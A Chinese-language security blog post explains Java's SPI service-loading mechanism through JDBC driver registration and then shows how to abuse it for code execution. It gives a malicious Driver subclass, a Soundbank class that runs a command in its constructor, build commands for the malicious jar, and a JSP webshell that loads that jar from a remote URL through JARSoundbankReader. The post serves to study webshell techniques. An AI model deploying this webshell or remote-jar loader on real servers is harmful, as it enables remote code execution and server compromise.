基于spi机制构造的webshell

前言

最近在翻阅yzddmr6师傅博客的时候,发现师傅还有个github的地址

https://github.com/yzddmr6/MyPresentations

里面发现师傅去补天白帽子大会上讲解了一些webshell的攻防,特此进行了学习,然后发现了一个很有意思的webshell,不得不说yzddmr6师傅真的tql了,对spi机制又更了解了一点

因为可能刚入门webshell的可能对文章看不懂,因此一些基础知识点也会进行讲解

SPI机制的利用

SPI机制

什么是SPI机制呢?

拼出来就是Service Provider Interface,是JDK内置的一种服务提供发现机制

其实这样讲是理解不到的,说人话就是它会加载你

META-INF/services中的配置文件中指定实现接口的类

比如我们的JDBC,下面会举例子,这里不详细讲了

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
load(Class<s> service):静态方法,用于加载实现了指定接口的服务提供者。
iterator():返回一个迭代器,用于遍历加载的服务提供者实例。</s>

<s>

② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
hasNext():判断是否还有下一个元素。
next():返回下一个元素。

③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
AbstractProvider:用于创建服务提供者的抽象类。
ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

JDBC中的SPI

首先我们思考一下为什么JDBC中需要我们的SPI机制呢?

那就是涉及到我们JDBC连接数据库的操作了

JDBC连接数据库

必不可少的一步就是加载数据库驱动,它来完成我们的连接操作,一般是使用Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序

基本的流程是

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

下面举个例子

package MYSQL;

import javax.xml.transform.Result;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;

public class JDBC_Connection_example {
    public static void main(String[] args) throws Exception{
        Properties properties=new Properties();
        properties.setProperty("user","root");
        properties.setProperty("password","123456");
        String URL = "jdbc:mysql://127.0.0.1:3306/security";
        DriverManager.registerDriver(new com.mysql.jdbc.Driver());
        Connection connection=DriverManager.getConnection(URL,properties);
        Statement statement=connection.createStatement();
        String sql="select * from users";
        ResultSet result=statement.executeQuery(sql);
        int columnCount = result.getMetaData().getColumnCount();

        // 打印查询结果
        while (result.next()) {
            for (int i = 1; i <= columnCount; i++) {
                // 通过列索引获取列值,并打印
                System.out.print(result.getString(i) + "\t");
            }
            System.out.println();
        }
        result.close();
        statement.close();
        connection.close();

    }
}

为什么JDBC要有SPI

  1. 动态加载驱动

通过 SPI 机制,JDBC 驱动可以在运行时动态加载,而不需要在代码中硬编码驱动类名。这样可以使代码更加灵活和可扩展。

在没有 SPI 机制之前,开发者需要显式地注册驱动:

Class.forName("com.mysql.cj.jdbc.Driver");

有了 SPI 机制之后,驱动可以通过 DriverManager 自动加载:

Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");
  1. 提高可插拔性

SPI 机制使得 JDBC 驱动具有高度的可插拔性,用户可以轻松更换或添加新的数据库驱动而不需要修改现有代码。这对于支持多种数据库的应用程序非常重要。

  1. 简化配置

应用程序不需要显式地配置和管理 JDBC 驱动,只需要确保驱动 JAR 文件在类路径中,SPI 机制会自动发现和加载这些驱动。这大大简化了应用程序的配置和部署过程。

  1. 支持多种实现

通过 SPI 机制,不同的数据库供应商可以提供自己的 JDBC 驱动实现,而应用程序可以通过统一的 JDBC API 访问不同的数据库。这样,应用程序代码不需要依赖于具体的数据库实现,可以更加通用和灵活。

SPI机制实现分析

JDBC连接会实例化DriverManager.registerDriver(new com.mysql.jdbc.Driver());

然后我们看到这个类的静态代码

static {
        try {
            DriverManager.registerDriver(new Driver());
        } catch (SQLException var1) {
            throw new RuntimeException("Can't register driver!");
        }
    }

会调用DriverManager类的registerDriver方法,因此JVM又会去加载DriverManager类,加载过程中DriverManager的静态代码块被执行

我们看到它的代码

调用loadInitialDrivers();加载初始程序

内部调用doPrivileged,这个方法会实例化 SPI 机制的核心类然后调用load去实现spi机制

获取当前类加载器去加载

最后会来到hasNextService去加载

实现SPI的恶意利用

简单示例

那这样说我们是不是只需要在配置文件中如果能够有我们的恶意类,并且实现我们的Driver接口就可以恶意利用

创建一个恶意类

package MYSQL;

import com.mysql.jdbc.Driver;

import java.io.IOException;
import java.sql.SQLException;

public class calc extends Driver {
    static {
        Runtime runtime=Runtime.getRuntime();
        try {
            runtime.exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public calc() throws SQLException {
    }
}

配置文件写上

运行我们jdbc连接

发现弹出计算器

JARSoundbankReader类webshell利用

方法分析

我们跟进它的getSoundbank方法

public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {
    if (!isZIP(var1)) {
        return null;
    } else {
        ArrayList var2 = new ArrayList();
        URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});
        InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");
        if (var4 == null) {
            return null;
        } else {
            try {
                BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));

                for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {
                    if (!var6.startsWith("#")) {
                        try {
                            Class var7 = Class.forName(var6.trim(), false, var3);
                            if (Soundbank.class.isAssignableFrom(var7)) {
                                Object var8 = ReflectUtil.newInstance(var7);
                                var2.add((Soundbank)var8);
                            }
                        } catch (ClassNotFoundException var14) {
                        } catch (InstantiationException var15) {
                        } catch (IllegalAccessException var16) {
                        }
                    }
                }
            } finally {
                var4.close();
            }

            if (var2.size() == 0) {
                return null;
            } else if (var2.size() == 1) {
                return (Soundbank)var2.get(0);
            } else {
                SimpleSoundbank var18 = new SimpleSoundbank();
                Iterator var19 = var2.iterator();

                while(var19.hasNext()) {
                    Soundbank var20 = (Soundbank)var19.next();
                    var18.addAllInstruments(var20);
                }

                return var18;
            }
        }
    }
}

首先检查是否为 ZIP 文件,然后创建一个 URLClassLoader 来加载 ZIP 文件的资源,并尝试从其中获取 META-INF/services/javax.sound.midi.Soundbank 文件的输入流。

通过输入流读取配置文件中的内容,逐行解析每个类名。其实恶意构造只需要一个类

  • 使用 Class.forName 动态加载类。
  • 检查该类是否实现了 Soundbank 接口。

所以我们构造的恶意类需要实现Soundbank接口

我们现在来构造恶意类

根据上面的SPI恶意利用的原理,我们可以使用类似的方法去制作恶意的jar包

jar包制作

目录结构如下

然后因为是加载javax.sound.midi.Soundbank中的类

我们在这个文件写入

写入你自己的恶意类的包名

nn0nkey.Evil

恶意类构造

恶意类需要实现Soundbank接口,就需要重写它的方法

然后在其中注入恶意代码

POC如下

package nn0nkey;


import javax.sound.midi.Instrument;
import javax.sound.midi.Patch;
import javax.sound.midi.Soundbank;
import javax.sound.midi.SoundbankResource;
import java.io.IOException;

public class  Evil implements Soundbank {
    public Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public String getName() {
        return null;
    }

    @Override
    public String getVersion() {
        return null;
    }

    @Override
    public String getVendor() {
        return null;
    }

    @Override
    public String getDescription() {
        return null;
    }

    @Override
    public SoundbankResource[] getResources() {
        return new SoundbankResource[0];
    }

    @Override
    public Instrument[] getInstruments() {
        return new Instrument[0];
    }

    @Override
    public Instrument getInstrument(Patch patch) {
        return null;
    }
}

然后运行命令构造jar包

```bash
javac src/nn0nkey/Evil.java
jar -cvf Evil.jar -C src/ .
```

本地测试

然后把我们的jar包放到服务器上,然后去访问

import com.sun.media.sound.JARSoundbankReader;
import java.net.URL;

public class text {
    public static void main(String[] args) throws Exception {
        JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();
        URL url=new URL("http://ip/Evil.jar");
        jarSoundbankReader.getSoundbank(url);
    }
}

运行弹出计算器

构造webshell

<%@ page import="com.sun.media.sound.JARSoundbankReader" %>
<%@ page import="java.net.URL" %>
<%
    JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();
    URL url=new URL("http://ip/Evil.jar");
    jarSoundbankReader.getSoundbank(url);
%>
</s>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值